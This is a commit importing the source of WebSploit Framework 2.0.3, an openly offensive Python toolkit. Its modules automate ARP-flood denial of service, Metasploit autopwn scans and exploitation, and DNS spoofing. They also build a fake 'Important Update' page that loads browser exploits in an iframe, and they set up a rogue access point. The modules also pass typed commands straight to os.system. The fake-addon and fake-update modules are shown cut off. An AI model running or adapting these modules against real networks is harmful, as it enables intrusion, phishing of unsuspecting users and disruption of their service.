Commit 9d72c3ff authored by Devon Kearns's avatar Devon Kearns

Imported Upstream version 2.0.3

parents
This diff is collapsed.
Websploit Framework
Licence For:
------------------
BackBox
BackTrack
BlackBuntu
And All Hacking And Security Distro
------------------
WebSploit Framework
Project in SourceForge : http://sourceforge.net/projects/websploit
Author : 0x0ptim0us (Fardin Allahverdinazhand)
Email & Report Bug : 0x0ptim0us@Gmail.Com
Blog : http://0x0ptim0us.blogspot.com
If your system doesn't have enough copies of the full text of the GNU
General Public License already, we have provided another one in the
"COPYING.GPL" file.
Supported Attack :
# [+]Autopwn - Used From Metasploit For Scan and Exploit Target Service
# [+]Browser AutoPWN - Exploit Victim Browser
# [+]wmap - Scan,Crawler Target Used From Metasploit wmap plugin
# [+]format infector - inject reverse & bind payload into file format
# [+]MLITM,XSS Phishing - Man Left In The Middle Attack
# [+]MITM - Man In The Middle Attack
# [+]USB Infection Attack - Create Executable Backdoor For Windows
# [+]MFOD Attack - Middle Finger Of Doom Attack
# [+]Java Applet Attack Vector
# [+]ARP DOS - ARP Cache Denial Of Service Attack With Random MAC
# [+]Directory Scanner - Scan Target Directorys
# [+]Apache US - Scan Apache users
# [+]PHPMyAdmin - Scan PHPMyAdmin Login Page
# [+]Web Killer - Using From The TCPKill For Down Your WebSite On Network
# [+]Fake AP - Fake Access Point
# [+]FakeUpdate - Fake update attack
# [+]Wifi Jammer - Wifi Jammer Attack
# [+]Wifi Dos - Wifi Dos RQ Attack
#!/usr/bin/env python
#
# WebSploit Toolkit Menu module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
from core import wcolors
def about():
print "\n"
print(wcolors.color.RED + "Created By :" + wcolors.color.ENDC)
print wcolors.color.CYAN + """
Fardin Allahverdinazhand (0x0ptim0us)
Location : Iran - Azarbayjan (Turkish)
Twitter : @0x0ptim0us
Report Bug : 0x0ptim0us@Gmail.Com
""" + wcolors.color.ENDC
print "\n"
print(wcolors.color.RED + "Developer Team Not Available !\n" + wcolors.color.ENDC)
#!/usr/bin/env python
#
# WebSploit Framework Header module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import random
def main_header():
header_1 = r"""
__ __ _ _ _ _
\ \ / / | | | | (_) |
\ \ /\ / /__| |__ ___ _ __ | | ___ _| |_
\ \/ \/ / _ \ '_ \/ __| '_ \| |/ _ \| | __|
\ /\ / __/ |_) \__ \ |_) | | (_) | | |_
\/ \/ \___|_.__/|___/ .__/|_|\___/|_|\__|
| |
|_| """
header_2 = r"""
__ __ __ ___ __
/\ \ __/\ \ /\ \ /\_ \ __/\ \__
\ \ \/\ \ \ \ __\ \ \____ ____ _____\//\ \ ___ /\_\ \ ,_\
\ \ \ \ \ \ \ /'__`\ \ '__`\ /',__\/\ '__`\\ \ \ / __`\/\ \ \ \/
\ \ \_/ \_\ \/\ __/\ \ \L\ \/\__, `\ \ \L\ \\_\ \_/\ \L\ \ \ \ \ \_
\ `\___x___/\ \____\\ \_,__/\/\____/\ \ ,__//\____\ \____/\ \_\ \__\
'\/__//__/ \/____/ \/___/ \/___/ \ \ \/ \/____/\/___/ \/_/\/__/
\ \_\
\/_/ """
header_3 = r"""
( ( ) ( )
)\))( ' ( ( /( )\ ( ( /(
((_)()\ ) ))\ )\()) ( ` ) ((_) ( )\ )\())
_(())\_)() /((_)((_)\ )\ /(/( _ )\((_)(_))/
\ \((_)/ /(_)) | |(_)((_)((_)_\ | | ((_)(_)| |_
\ \/\/ / / -_) | '_ \(_-<| '_ \)| |/ _ \| || _|
\_/\_/ \___| |_.__//__/| .__/ |_|\___/|_| \__|
|_| """
hdr_num = random.randint(1, 3)
if hdr_num ==1:
print header_1
if hdr_num ==2:
print header_2
if hdr_num ==3:
print header_3
#!/usr/bin/env python
#
# WebSploit FrameWork Help Module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
from core import wcolors
from time import sleep
def help():
print "\n"
print (wcolors.color.BLUE + "Commands\t\tDescription" + wcolors.color.ENDC)
print (wcolors.color.GREEN + "---------------\t\t----------------" + wcolors.color.ENDC)
print "set \t\t\tSet Value Of Options To Modules"
print "scan\t\t\tScan Wifi (Wireless Modules)"
print "stop\t\t\tStop Attack & Scan (Wireless Modules)"
print "run \t\t\tExecute Module"
print "use \t\t\tSelect Module For Use"
print "os \t\t\tRun Linux Commands(ex : os ifconfig)"
print "back\t\t\tExit Current Module"
print "show modules\t\tShow Modules of Current Database"
print "show options\t\tShow Current Options Of Selected Module"
print "upgrade\t\t\tGet New Version"
print "update\t\t\tUpdate Websploit Framework "
print "about\t\t\tAbout US"
print ""
\ No newline at end of file
#!/usr/bin/env python
#
# WebSploit FrameWork Menu module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
from core import wcolors
def main_info():
ston = wcolors.color.BLUE + "[" + wcolors.color.ENDC
print ""
print "\t\t--=" + ston + "WebSploit FrameWork"
print "\t+---**---==" + ston + "Version :" + wcolors.color.RED + "2.0.3" + wcolors.color.ENDC
print "\t+---**---==" + ston + "Codename :" + wcolors.color.RED + "CyberTron" + wcolors.color.ENDC
print "\t+---**---==" + ston + "Available Modules : " + wcolors.color.GREEN + "16" + wcolors.color.ENDC
print "\t\t--=" + ston + "Update Date : [" + wcolors.color.RED + "r2.0.3-116 9.10.2012" + wcolors.color.ENDC + "]"
print "\n\n"
#!/usr/bin/env python
#
#Websploit FrameWork Database Module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
from core import wcolors
from time import sleep
def modules_database():
print ""
print (wcolors.color.BLUE + "Web Modules\t\t\tDescription" + wcolors.color.ENDC)
print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
print "web/apache_users\t\tScan Directory Of Apache Users"
print "web/dir_scanner\t\t\tDirectory Scanner"
print "web/wmap\t\t\tInformation Gathering From Victim Web Using (Metasploit Wmap)"
print "web/pma\t\t\t\tPHPMyAdmin Login Page Scanner"
print "\n"
print (wcolors.color.BLUE + "Network Modules\t\t\tDescription" + wcolors.color.ENDC)
print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
print "network/arp_dos\t\t\tARP Cache Denial Of Service Attack"
print "network/mfod\t\t\tMiddle Finger Of Doom Attack"
print "network/mitm\t\t\tMan In The Middle Attack"
print "network/mlitm\t\t\tMan Left In The Middle Attack"
print "network/webkiller\t\tTCP Kill Attack"
print "network/fakeupdate\t\tFake Update Attack Using DNS Spoof"
print "network/fakeap\t\t\tFake Access Point"
print "\n"
print (wcolors.color.BLUE + "Exploit Modules\t\t\tDescription" + wcolors.color.ENDC)
print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
print "exploit/autopwn\t\t\tMetasploit Autopwn Service"
print "exploit/browser_autopwn\t\tMetasploit Browser Autopwn Service"
print "exploit/java_applet\t\tJava Applet Attack (Using HTML)"
print "\n"
print (wcolors.color.BLUE + "Wireless Modules\t\tDescription" + wcolors.color.ENDC)
print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
print "wifi/wifi_jammer\t\tWifi Jammer"
print "wifi/wifi_dos\t\t\tWifi Dos Attack"
print "\n"
#!/usr/bin/env python
#
# WebSploit FrameWork Update Module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import os
import subprocess
from core import wcolors
from time import sleep
def update():
print(wcolors.color.GREEN + "[*]Updating Websploit framework, Please Wait ..." + wcolors.color.ENDC)
sleep(2)
subprocess.Popen("git init", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
sleep(2)
os.system("git pull https://github.com/websploit/update.git")
print(wcolors.color.GREEN + "[*]Update was completed successfully." + wcolors.color.ENDC)
sleep(1)
#!/usr/bin/env python
#
#Websploit FrameWork Upgrade Module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import os
import urllib
from time import sleep
from core import wcolors
def upgrade():
print(wcolors.color.BOLD + wcolors.color.BLUE + "[*]Checking For New Version, Please Wait ..." + wcolors.color.ENDC)
try:
cu = urllib.urlopen("http://sourceforge.net/projects/websploit/files/")
res = cu.read()
if 'WebSploit Framework V.2.0.4' in res:
print(wcolors.color.GREEN + "[*]New Version Available")
sleep(2)
print("[*]Download Latest Version : https://sourceforge.net/projects/websploit/files/latest/download?source=files" + wcolors.color.ENDC)
print(wcolors.color.CYAN + "[*]Starting Browser To Download Location, Please Wait ..." + wcolors.color.ENDC)
sleep(2)
os.system('firefox https://sourceforge.net/projects/websploit/files/latest/download?source=files')
else:
print(wcolors.color.BOLD + wcolors.color.RED + "[*]New Version Not Available, This Is Latest Version Of The WebSploit Framework." + wcolors.color.ENDC)
sleep(4)
except(IOError):
print(wcolors.color.BOLD + wcolors.color.RED + "[*]Connection Timeout, Check Your Internet Connection!" + wcolors.color.ENDC)
\ No newline at end of file
#!/usr/bin/env python
# WebSploit Toolkit
# Idea By Dave Kennedy
# Created By Fardin Allahverdinazhand (0x0ptim0us)
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERL = '\033[4m'
ENDC = '\033[0m'
backBlack = '\033[40m'
backRed = '\033[41m'
backGreen = '\033[42m'
backYellow = '\033[43m'
backBlue = '\033[44m'
backMagenta = '\033[45m'
backCyan = '\033[46m'
backWhite = '\033[47m'
This diff is collapsed.
#!/usr/bin/env python
#
# WebSploit Framework ARP Denial Of Service Attack module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import os
from core import wcolors
from core import help
from time import sleep
options = ["192.168.1.1", "192.168.1.3", "eth0"]
def arp_dos():
try:
line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line_1 += ":"
line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "ARP DOS" + wcolors.color.ENDC
line_1 += " > "
com = raw_input(line_1)
com = com.lower()
if com[0:13] =='set interface':
interface_name = com[14:25]
options[2] = interface_name
print "Interface => " + options[2]
arp_dos()
elif com[0:10] =='set target':
target_ip = com[11:27]
options[1] = target_ip
print "TARGET => " + options[1]
arp_dos()
elif com[0:10] =='set router':
router_ip = com[11:27]
options[0] = router_ip
print "ROUTER => " + options[0]
arp_dos()
elif com[0:12] =='show options':
print ""
print "Options\t\t Value\t\t\t RQ\t Description"
print "---------\t--------------\t\t----\t--------------"
print "Interface\t"+options[2]+"\t\t\tyes\tNetwork Interface Name"
print "TARGET\t\t"+options[1]+"\t\tyes\tTarget IP Address"
print "ROUTER\t\t"+options[0]+"\t\tyes\tRouter IP Address"
print ""
arp_dos()
elif com[0:2] =='os':
os.system(com[3:])
arp_dos()
elif com[0:4] =='help':
help.help()
arp_dos()
elif com[0:4] =='back':
pass
elif com[0:3] =='run':
print(wcolors.color.BOLD + wcolors.color.BLUE + "[*]Attack Has Been Started ..." + wcolors.color.ENDC)
command = 'xterm -e ettercap -i '+ options[2] + ' -Tq -P rand_flood ' + '/'+options[0]+'/' + ' ' + '/'+options[1]+'/'+ ' &'
os.system(command)
line_4 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line_4 += ":"
line_4 += wcolors.color.UNDERL + wcolors.color.BLUE + "ARP DOS" + wcolors.color.ENDC
line_4 += " > For Stop The ARP DOS Attack Press [Enter] : "
fin = raw_input(line_4)
os.system('killall ettercap')
print(wcolors.color.BOLD + wcolors.color.GREEN + "[*]Attack Stoped." + wcolors.color.ENDC)
else:
print "Wrong Command =>" + com
arp_dos()
except(KeyboardInterrupt):
print ""
#!/usr/bin/env python
#
# WebSploit FrameWork Autopwn module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import os
from time import sleep
from core import wcolors
from core import help
options = ["192.168.1.1"]
def autopwn():
try:
line = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line += ":"
line += wcolors.color.UNDERL + wcolors.color.BLUE + "Autopwn" + wcolors.color.ENDC
line += " > "
com = raw_input (line)
com = com.lower()
if com[0:10] =='set target':
options[0] = com[11:27]
print "TARGET => ", options[0]
autopwn()
elif com[0:12]=='show options':
print ""
print "Options\t\t Value\t\t\t RQ\t Description"
print "---------\t--------------\t\t----\t--------------"
print "TARGET\t\t"+options[0]+"\t\t\tyes\tTarget IP Address"
print ""
autopwn()
elif com[0:2] =='os':
os.system(com[3:])
autopwn()
elif com[0:4] =='help':
help.help()
autopwn()
elif com[0:4] =='back':
pass
elif com[0:3] =='run':
print (wcolors.color.YELLOW + "[*]Engine Has Been Started." + wcolors.color.ENDC)
print (wcolors.color.YELLOW + "[*]Please Wait ..." + wcolors.color.ENDC)
sleep(2)
os.system('cp modules/db_autopwn.rb /tmp;chmod +x /tmp/db_autopwn.rb')
os.chdir('//tmp')
check_tmp = os.listdir(os.curdir)
if 'websploit_autopwn.rc' in check_tmp:
os.system('rm -rf websploit_autopwn.rc')
myfile = open('websploit_autopwn.rc', 'w')
myfile.write ('workspace -d websploit\n')
myfile.write ('workspace -a websploit\n')
myfile.write ('db_nmap ' + options[0] + '\n')
myfile.write ('load /tmp/db_autopwn.rb\n')
myfile.write ('db_autopwn -t -x -p -e')
myfile.close()
os.system('msfconsole -r /tmp/websploit_autopwn.rc')
else:
print "Wrong Command => ", com
autopwn()
except(KeyboardInterrupt):
print ""
#!/usr/bin/env python
#
# WebSploit Framework Browser Autopwn module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import os
from time import sleep
from core import wcolors
from core import help
options =["eth0", "192.168.1.1"]
def brow_autopwn():
try:
line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line_1 += ":"
line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Browser_Autopwn" + wcolors.color.ENDC
line_1 += " > "
com = raw_input(line_1)
com = com.lower()
if com[0:9] =='set lhost':
options[1] = com[10:25]
print "INTERFACE => ", options[1]
brow_autopwn()
elif com[0:13] =='set interface':
options[0] = com[14:19]
print "LHOST => ", options[0]
brow_autopwn()
elif com[0:12] =='show options':
print ""
print "Options\t\t Value\t\t\t RQ\t Description"
print "---------\t--------------\t\t----\t--------------"
print "Interface\t"+options[0]+"\t\t\tyes\tNetwork Interface Name"
print "LHOST\t\t"+options[1]+"\t\tyes\tLocal IP Address"
print ""
brow_autopwn()
elif com[0:2] =='os':
os.system(com[3:])
brow_autopwn()
elif com[0:4] =='help':
help.help()
brow_autopwn()
elif com[0:4] =='back':
pass
elif com[0:3] =='run':
print(wcolors.color.YELLOW + "[*]Starting WebServer ... Please Wait ..." + wcolors.color.ENDC)
sleep(2)
os.system('xterm -e /etc/init.d/apache2 start &')
print(wcolors.color.YELLOW + "[*]Configuration DNS Spoof ... " + wcolors.color.ENDC)
sleep(2)
os.chdir('//tmp')
check_tmp = os.listdir(os.curdir)
if 'fillter.dns' in check_tmp:
os.system('rm -rf fillter.dns')
myfile = open('fillter.dns', 'w')
myfile.write(options[1] + ' *')
myfile.close()
print(wcolors.color.YELLOW + "[*]Creating Infected Page For Victim ..." + wcolors.color.ENDC)
sleep(3)
os.chdir('//var//www')
check_var = os.listdir(os.curdir)
if 'index.html' in check_var:
os.system('rm -rf index.html')
myfile2 = open('index.html', 'w')
myfile2.write('<html>\n')
myfile2.write('<title>Important Update</title>\n')
myfile2.write('<body>\n')
myfile2.write('<center><h2>Important Update ... </h2></center>\n')
myfile2.write('<center><h3>Don\'t Close The Browser<h3></center>\n')
myfile2.write('<h3><center>Wait a Few Seconds ...</center></h3>\n')
myfile2.write('<center><iframe src=http://' + options[1] + ':8080/index></iframe></center>\n')
myfile2.write('</body>\n')
myfile2.write('</html>\n')
myfile2.close()
print(wcolors.color.YELLOW + "[*]Engine Has Been Started." + wcolors.color.ENDC)
sleep(2)
os.chdir('//tmp')
os.system('xterm -e dnsspoof -i ' + options[0] + ' -f fillter.dns &')
sleep(2)
os.system('msfcli server/browser_autopwn LHOST='+ options[1] + ' URIPATH=index E')
else:
print "Wrong Command => ", com
brow_autopwn()
except(KeyboardInterrupt):
print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, System Exit" + wcolors.color.ENDC)
This diff is collapsed.
This diff is collapsed.
#!/usr/bin/env python
#
# WebSploit Framework Firefox Fake Addon module
# Created By 0x0ptim0us (Fardin Allahverdinazhand) | Mikili (Mikail Skandary)
# Email : 0x0ptim0us@Gmail.Com | Mikili.land@Gmail.Com
import os
import subprocess
from time import sleep
from core import help
from core import wcolors
options = ["eth0", "192.168.1.1", "0"]
def fake_addon():
try:
line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line_1 += ":"
line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Fake_Addon" + wcolors.color.ENDC
line_1 += " > "
com = raw_input(line_1)
com = com.lower()
if com[0:13] =='set interface':
options[0] = com[14:20]
print "INTERFACE => ", options[0]
fake_addone()
elif com[0:9] =='set lhost':
options[1] = com[10:25]
print "LHOST => ", options[1]
fake_addon()
elif com[0:10] =='set target':
options[2] = com[11:12]
print "TARGET => ", options[2]
fake_addon()
elif com[0:2] =='os':
os.system(com[3:])
fake_addon()
elif com[0:4] =='help':
help.help()
fake_addon()
elif com[0:4] =='back':
pass
elif com[0:12] =='show options':
print ""
print "Options\t\t Value\t\t\t\t RQ\t Description"
print "---------\t--------------\t\t\t----\t--------------"
print "INTERFACE\t"+options[0]+"\t\t\t\tyes\tNetwork Interface Name"
print "LHOST\t\t"+options[1]+"\t\t\tyes\tLocal IP Address"
print "TARGET\t\t"+options[2]+"\t\t\t\tyes\tTarget ID (Select From List)"
print "\n"
print "Targets List:\n"
print "ID\t Description"
print "---\t-------------"
print "0\tGeneric (Java Payload)"
print "1\tWindows x86 (Native Payload)"
print "2\tLinux x86 (Native Payload)"
print "3\tMac OS X PPC (Native Payload)"
print "4\tMac OS X x86 (Native Payload)"
print "\n"
fale_addon()
elif com[0:3] =='run':
\ No newline at end of file
__author__ = 'Optimous'
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;
}
\ No newline at end of file
#!/usr/bin/env python
#
# WebSploit Toolkit Fake Access Point module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
from time import sleep
from core import wcolors
from core import help
import os
options = ["wlan0", "FakeAP", "11"]
def fake_sts():
print(wcolors.color.RED + "[!]Notice : You Should Be Installed DHCP Before Run This Attack, If DHCP Not Installed Run This Command in Terminal :")
print("sudo apt-get install dhcp3-server" + wcolors.color.ENDC)
fake_ap()
def fake_ap():
try:
line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line_1 += ":"
line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Fake AP" + wcolors.color.ENDC
line_1 += " > "
com = raw_input(line_1)
com = com.lower()
if com[0:13] =='set interface':
options[0] = com[14:20]
print "INTERFACE => ", options[0]
fake_ap()
elif com[0:9] =='set essid':
options[1] = com[10:]
print "ESSID => ", options[1]
fake_ap()
elif com[0:11] =='set channel':
options[2] = com[12:14]
print "CHANNEL => ", options[2]
fake_ap()
elif com[0:12] =='show options':
print ""
print "Options\t\t Value\t\t\t\t RQ\t Description"
print "---------\t--------------\t\t\t----\t--------------"
print "Interface\t"+options[0]+"\t\t\t\tyes\tWireless Interface Name"
print "ESSID\t\t"+options[1]+"\t\t\t\tyes\tESSID Name For Fake AP"
print "Channel\t\t"+options[2]+"\t\t\t\tyes\tChannel Number"
print ""
fake_ap()
elif com[0:2] =='os':
os.system(com[3:])
fake_ap()
elif com[0:4] =='help':
help.help()
fake_ap()
elif com[0:4] =='back':
pass
elif com[0:3] =='run':
print(wcolors.color.BLUE + "[*]Configure Fake Access Point ..." + wcolors.color.ENDC)
exec_1 = "xterm -e airmon-ng start " + options[0] + " &"
os.system(exec_1)
exec_2 = "xterm -e airbase-ng -e " + options[1] + " -c " + options[2] + " -v " + options[0] + " &"
os.system(exec_2)
print(wcolors.color.BLUE + "[*]Configure iptable ..." + wcolors.color.ENDC)
os.system("xterm -e ifconfig at0 up &")
os.system("xterm -e ifconfig at0 10.0.0.254 netmask 255.255.255.0 &")
os.system("xterm -e route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254 &")
sleep(2)
os.system("xterm -e iptables --flush &")
os.system("xterm -e iptables --table nat --flush &")
os.system("xterm -e iptables --delete-chain &")
os.system("xterm -e iptables --table nat --delete-chain &")
os.system("xterm -e iptables -P FORWARD ACCEPT &")
sleep(2)
os.system("xterm -e iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE &")
print(wcolors.color.BLUE + "[*]Clearing HDCP Leases ..." + wcolors.color.ENDC)
os.system("xterm -e echo > /var/lib/dhcp3/dhcpd.leases &")
os.system("xterm -e ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid &")
print(wcolors.color.BLUE + "[*]Enable IP Forwarding ..." + wcolors.color.ENDC)
os.system("xterm -e echo 1 > /proc/sys/net/ipv4/ip_forward &")
sleep(2)
print(wcolors.color.BLUE + "[*]Starting DHCP Server ..." + wcolors.color.ENDC)
os.system("xterm -e dhcpd3 -d -f -cf /modules/fakeap/dhcpd.conf at0 &")
print(wcolors.color.GREEN + "[*]Create Fake Access Point Successful ..." + wcolors.color.ENDC)
print(wcolors.color.RED + "NOTICE : When You Have Finished Attack, Press [enter] Key For Clean Up" + wcolors.color.YELLOW + " [Important]" + wcolors.color.ENDC)
enter_key = raw_input()
os.system('killall xterm')
os.system('killall ettercap')
os.system('echo "0" > /proc/sys/net/ipv4/ip_forward')
os.system('iptables --flush')
os.system('iptables --table nat --flush')
os.system('iptables --delete-chain')
os.system('iptables --table nat --delete-chain')
else:
print "Wrong Command => ", com
fake_ap()
except(KeyboardInterrupt):
print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, Clean Up ..." + wcolors.color.ENDC)
os.system('killall xterm')
os.system('killall ettercap')
os.system('echo "0" > /proc/sys/net/ipv4/ip_forward')
os.system('iptables --flush')
os.system('iptables --table nat --flush')
os.system('iptables --delete-chain')
os.system('iptables --table nat --delete-chain')
#!/usr/bin/env python
#
# WebSploit Framework Fake Update module
# Idea By G0tmi1k
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com
import os
import subprocess
from time import sleep
from core import wcolors
from core import help
options = ["eth0", "192.168.1.1"]
def fakeupdate():
try:
line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
line_1 += ":"
line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "Fake Update" + wcolors.color.ENDC
line_1 += " > "
com = raw_input(line_1)
com = com.lower()
if com[0:13] =='set interface':
options[0] = com[14:20]
print "INTERFACE => ", options[0]
fakeupdate()